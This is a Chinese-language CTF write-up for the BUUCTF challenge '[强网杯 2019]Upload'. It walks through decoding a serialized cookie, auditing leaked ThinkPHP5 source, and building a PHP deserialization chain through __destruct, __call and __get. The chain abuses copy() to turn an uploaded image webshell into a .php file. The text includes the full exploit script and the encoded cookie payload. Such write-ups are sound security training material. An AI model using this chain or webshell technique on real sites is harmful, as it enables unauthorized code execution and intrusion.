2025.1.20——四、[强网杯 2019]Upload1 文件上传|反序列化
题目来源:buuctf [强网杯 2019]Upload 1
目录
一、打开靶机,查看信息
二、解题思路
step 1:登陆进去看情况
step 3:测试两个思路
1.目录穿越
2.目录扫描
step 4:代码审计
step 5:魔术方法利用copy
step 5:调用方法
step 6:得到上传路径
step 7:蚁剑连接
三、小结
一、打开靶机,查看信息
根据题目可得是文件上传题目,但这里并没有上传文件的地方,先注册账号登陆进去看看情况。
二、解题思路
step 1:登陆进去看情况
上传了个gif文件,发现变成了头像,查看源码发现文件名和后缀都被改了,
step 2:大佬来支援——问题在cookie
确实没有头绪了,看了大佬的wp,发现cookie有新信息。
这里提示:下次可以抓包看新信息,抓包也可以发现这里的问题
很像base x编码,但是少了点东西,base 64少了俩==,去试试,发现提示:只有302位,不是4的倍数,无法解码。这不巧了?加上俩==,刚好304位可以解码了,得到熟悉的东西:
a:5:{s:2:"ID";i:4;s:8:"username";s:1:"1";s:5:"email";s:10:"123@qq.com";s:8:"password";s:32:"202cb962ac59075b964b07152d234b70";s:3:"img";s:79:"../upload/5e6f2693d111128ec4f1d7336f65b87f/ab7a128e83ca216c120791232caaf9a9.png";}7
是序列化数据。所以说cookie为注册信息序列化后的值,这里有两个思路:①根据序列化中传入的路径能否目录穿越;②扫描网站备份文件
step 3:测试两个思路
1.目录穿越
没有什么思路,先pass掉
2.目录扫描
扫描出一个www.tar.gz在网页根目录,下载下来看一下
这样才能下载下来,发现是ThinkPHP5框架,看看其中内容
既然是php文件,用phpstorm打开,主要功能在这四个文件上,要开始代码审计了
step 4:代码审计
代码太多了,我们要找重点,比如刚才的登陆页面只有上传文件的cookie信息。
整体功能:从用户的Cookie中获取用户信息,将其解码和反序列化,然后与数据库中的用户信息进行比较,以验证用户登陆是否有效。
而且还会对cookie数据进行base64解码,然后进行反序列化,将其转换为原始的数据结构
然后找找upload代码信息
大佬说利用点在这里:copy。这个copy(source,dest)将文件从source拷贝到dest。成功时返回TRUE,失败时返回FALSE,所以这里的$this->filename_tmp和$thie->filename在可控的情况下,可以将上传的一句话的png格式文件拷贝成php后缀的文件,这样就可以运行一句话了。即
copy($this->filename_tmp,$this->filename); // 最终得到一个shell.php文件
那么该怎么利用呢?
step 5:魔术方法利用copy
这里要用到两个魔术方法:①__get();②__call()
__get():一个类里有私有变量,外界无法访问,可以用该魔术方法间接访问
示例:
__call():调用了一个类里没有的方法,那么就会自动调用该魔术方法,其中第一个参数表示不存在的方法名字,第二个参数接收传入的参数
示例:
在Profile.php是这样呈现的
在__call方法中,需要将$this->{ $this->{$name}}中的蓝色部分的值为upload_img,就能调用upload_img方法,那怎么做到呢?
(我想不出来(´。_。`),看看大佬们的wp吧,看懂了就算学会了)
step 5:调用方法
以下步骤摘自BUUCTF-WEB 【强网杯】 2019]Upload 1 | Fan的小酒馆
在Register.php文件中。
Register中的__destruct
方法调用了$this->checker->index();
假设,我们把$this->checker
改成Profile
类,那这里的语句就能够触发Profile::__call
方法。这样一条链条就形成了。
Register::__construct()->Register::__destruct()->Profile::__call()->Profile::__get()->Profile::__call()->Profile::upload_img()->copy()
Register::__construct()中将$this->checker指定为new Profile(),
Register::__destruct() 会调用Profile类中的index方法,发现找不到,会触发Profile::__call。
public function __get($name)
{
echo $name;
return $this->except[$name];
}
public function __call($name, $arguments)
{
if ($this->{$name}) {
$this->{$this->{$name}}($arguments);
}
}
触发Profile::__call
,$name
的值则为index
,当执行到$this->{$name}
发现找不到index
这个属性,又会触发__get
,__get
则会从$this->except
数组中取键名为index
的值返回。当我们把$this->except
属性值设置为["index"=>"upload_img"]
,这样在执行$this->{$this->{$name}}($arguments);
一句时,$this->{$name}
不就是upload_img
了吗。然后就会进入到upload_img
方法中,接下来只需要修改一些属性值,就能执行到copy($this->filename_tmp,$this->filename);
。这里怎么利用刚刚已经说过了。
(感叹一下这个思路,看懂了链式反应,但是看不进去。。。再努努力)
下一步:先注册一个账号,上传一个图片格式后缀的一句话木马(加GIF89a),拿到上传路径。
step 6:得到上传路径
没有得到跳转,所以去cookie信息里找到的
/upload/5e6f2693d111128ec4f1d7336f65b87f/39e37d1a8e648846d5afe11e7e9c3ee2.png
上脚本进行序列化(脚本来源:[强网杯 2019]Upload | 北歌)
<?php
namespace app\web\controller;
error_reporting(0);
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
class Register
{
public $checker;
public $registed;
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "./upload/5e6f2693d111128ec4f1d7336f65b87f/39e37d1a8e648846d5afe11e7e9c3ee2.png";
$profile->filename = "./upload/5e6f2693d111128ec4f1d7336f65b87f/39e37d1a8e648846d5afe11e7e9c3ee2.php";
$register = new Register();
$register->registed = false;
$register->checker = $profile;
echo urlencode(base64_encode(serialize($register)));
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjc4OiIuL3VwbG9hZC81ZTZmMjY5M2QxMTExMjhlYzRmMWQ3MzM2ZjY1Yjg3Zi8zOWUzN2QxYThlNjQ4ODQ2ZDVhZmUxMWU3ZTljM2VlMi5wbmciO3M6ODoiZmlsZW5hbWUiO3M6Nzg6Ii4vdXBsb2FkLzVlNmYyNjkzZDExMTEyOGVjNGYxZDczMzZmNjViODdmLzM5ZTM3ZDFhOGU2NDg4NDZkNWFmZTExZTdlOWMzZWUyLnBocCI7czoxMToidXBsb2FkX21lbnUiO047czozOiJleHQiO3M6MzoicG5nIjtzOjM6ImltZyI7czoxMDoidXBsb2FkX2ltZyI7czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czozOiJpbWciO319czo4OiJyZWdpc3RlZCI7YjowO30%3D
然后将其放入cookie后,在根目录多刷新几次,发现再次访问这个文件夹就是php文件,并且成功解析一句话,可以上蚁剑了
step 7:蚁剑连接
常规操作
URL:实例无法访问 / Instance can't be reached at that time | BUUCTF
成功找到flag
三、小结
1.这个题跨越两天,不知道为什么第一天蚁剑怎么都连不上,明明看到文件上传成功,也看到了/upload/界面上传路径,但是马始终显示不出来。无奈只能暂时放弃,结果第二天一次成功,有古怪。所以第一天做不出来可以先放放
2.查看页面信息,不要忘记cookie数据
3.数据信息解密也很重要
4.学习到两个魔术方法:__get()、__call()
5.代码审计逻辑要明白